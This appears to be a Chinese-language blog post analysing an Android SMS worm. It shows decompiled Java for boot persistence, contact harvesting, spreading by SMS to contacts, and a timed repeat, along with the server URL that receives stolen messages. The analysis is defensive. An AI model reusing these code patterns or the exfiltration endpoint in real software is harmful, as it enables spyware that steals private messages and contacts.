[Android] 分析最近頗有名的簡訊病毒

今天要來討論一下最近非常夯的簡訊病毒,很多朋友都有收到這樣的簡訊,我的 Android 手機也收到好幾次,雖然我很笨的點下連結,但還好我即時點下 Back 鍵,沒發生什麼意外。

不過,既然自己接觸 Android 也有不短的時間了,那就剛好發揮一下專業來看看這個病毒到底會做些什麼事情。
Android APK 程式包裝是著名的容易反組譯,幾年前也剛好有個很強的反組譯軟體 dex2jar 出現,搭配 JD-GUI 還能很容易的看到反組譯出來的原始碼,大家有興趣也可以試試看。

如果想要知道怎麼反組譯,可以參考下面的步驟,

1. 安裝好 dex2jar 和 JD-GUI
2. 在 command line 執行
        $> dex2jar.sh apkfile

    這樣會在資料夾內產生一個名為 apkfile_dex2jar.jar 的檔案
3. 用 JD-GUI 打開該檔案就可以看到原始碼

—–
下面總結一下這個簡訊病毒的相關實作細節,

這個病毒會取得下面這些權限,
    android.permission.READ_PHONE_STATE
    android.permission.SEND_SMS
    android.permission.READ_SMS
    android.permission.WRITE_SMS
    android.permission.RECEIVE_SMS
    android.permission.INTERNET
    android.permission.CALL_PHONE
    android.permission.READ_CONTACTS
    android.permission.WRITE_EXTERNAL_STORAGE
    com.android.launcher.action.INSTALL_SHORTCUT

這些權限都是跟簡訊和聯絡人資料有關,跟我們所知道的病毒行為相符。

我們從 AndroidManifest.xml 可以看得出來它有三個關鍵組件,

        <service android:name=“.SMSServices”>
            <intent-filter>
                <action android:name=“com.example.android.services.SMSServices” />
            </intent-filter>
        </service>
        <receiver android:name=“SMSServiceBootReceiver”>
            <intent-filter>
                <action android:name=“android.intent.action.BOOT_COMPLETED” />
            </intent-filter>
        </receiver>

        <receiver android:name=“SMSSender” />

每次手機開機,SMSServiceBootReceiver 都會收到 Broadcast,裡面的行為就是啟動 SMSService,所以手機重開機也無法停止病毒的行動。

 
public class SMSServiceBootReceiver extends BroadcastReceiver
{
public void onReceive(Context paramContext, Intent paramIntent)
{
Intent localIntent = new Intent();
localIntent.setAction("com.example.android.services.SMSServices");
paramContext.startService(localIntent);
}
}

這個病毒的預設起始元件是 MainActivity,剛啟動時會去檢查是不是用 Emulator 執行該 APK,看來是怕被 try 病毒行為,可能也跟他的 Server 有關係吧。

剛剛有提到手機開機就會去執行 SMSService,另外,一旦我們執行這個程式後,SMSService 也會被啟動,基本上就是要確保 SMSService 能夠被運行起來。

在 SMSService 裡面會啟動 SMSObserver 及 SMSSender,接下來我們再來看這幾個部分。

SMSObserver 的部分,他會去看你的簡訊收件匣裡面所有未讀的簡訊,並把你收到的簡訊內容截取出來,最後將這些簡訊的內容送出到遠端 Server,內容會包含下面幾個資訊,

  • 你自己的手機號碼
  • 來訊者的手機號碼
  • 訊息內容
  • 訊息傳送時間
傳送到遠端 Server 的方式,看起來是一台 Microsoft-IIS/7.0 Server,似乎是用 ASP.NET 寫的 WebService,下面是他傳送到 Server 的 format,使用 GET operation,基本上,後續的相關行為都會傳到該 Server,而且 Server 會回傳一些內容,作為 Client 的使用,但我嘗試用 Postman 送些 Request 過去,似乎沒有接到任何回傳,Server 可能有擋一些濫用 API 的行為,但也可能是我下的 Http Request 格式還是有問題吧。
        http://101.55.13.43/sms/SMSHandler.ashx?t=r&p=你的手機號碼&a=朋友的手機號碼&m=訊息內容&d=傳送時間
這樣的 Request 出去實在很可怕,遠端 Server 應該會把這些資料都記起來,又可以再販賣個資,也可以作為日後發送簡訊的內容參考,甚至是增進社交工程的技術,現在透過網際網路,所有資訊的流通都很迅速,經由連網裝置,一旦有機可乘,就能很容易地竊取到私密資料,太可怕了。
SMSSender 的部分,它被啟動時,會去運行 Contact class 裡面的程式碼,
   public void Send()
throws UnsupportedEncodingException, ParserConfigurationException, InterruptedException
{
ArrayList localArrayList = new ContactsHelper(this._Context).GetAllContacts();
WebServiceCalling localWebServiceCalling = new WebServiceCalling(this._Context);
String str1 = Tools.getPhoneNumber(this._Context);
String str2 = "";
Iterator localIterator = localArrayList.iterator();
while (true)
{
if (!localIterator.hasNext())
{
if (str2.length() > 0)
localWebServiceCalling.SC(null, str1, str2);
return;
}
String str3 = (String)localIterator.next();
str2 = str2 + "," + str3;
if (str2.length() > 20)
{
localWebServiceCalling.SC(null, str1, str2);
str2 = "";
}
}
}
這部分會去看你手機上的通訊錄,把通訊錄上所有聯絡人都擷取出來,然後傳送到遠端 Server,傳送內容會包含,
  • 你自己的手機號碼
  • 聯絡人名稱
  • 聯絡人手機號碼
另外,它也會傳送簡訊給其他聯絡人,

localSmsManager.sendTextMessage(str8.trim(), null, str9, null, null);
localWebServiceCalling.log("SMS", "S", str1, str8 + "|" + str9);

每60秒它就會傳送你的聯絡人資料到遠端 Server 並傳送簡訊給其他聯絡人,

  public static void sendUpdateBroadcastRepeat(Context paramContext)
{
PendingIntent localPendingIntent = PendingIntent.getBroadcast(paramContext, 0, new Intent(paramContext, SMSSender.class), 0);
long l = SystemClock.elapsedRealtime();
((AlarmManager)paramContext.getSystemService("alarm")).setRepeating(2, l, 60000L, localPendingIntent);
}
另外看到所有的 Http GET 操作,都會再把 Http Response 的內容透過 Message 丟給注入的 Handler 做其他處理。

    new Thread(new Runnable()
{
public void run()
{
try
{
String str = WebServiceCalling.this.callWS(paramString);
if (paramHandler != null)
{
Message localMessage = new Message();
localMessage.what = paramInt;
localMessage.obj = str;
paramHandler.sendMessage(localMessage);
}
return;
}
catch (UnsupportedEncodingException localUnsupportedEncodingException)
{
localUnsupportedEncodingException.printStackTrace();
return;
}
catch (ParserConfigurationException localParserConfigurationException)
{
localParserConfigurationException.printStackTrace();
}
}
}).start();

簡訊內容的來源是遠端server,所以應該可以很快地改變訊息發送的內容,也可以依據狀況改變要發送的連結內容。

另外,他還會監控你的來電,當有手機來電時,會將電話轉到 #,這是我不太理解的部分,不清楚轉號碼到這個 # 號會變怎麼樣,是會接掛斷電話?還是跟 USSD 漏洞有關係?
—–
以上就是病毒程式碼大致的狀況,雖然這個病毒還需要安裝執行才會有作用,不過對於一般人來說,應該比較難警覺到 App 有詐。因為一旦被感染後,病毒就可以直接存取聯絡人資料,所以傳播速度真是非常快,這些病毒的猖獗真是可怕。

發佈留言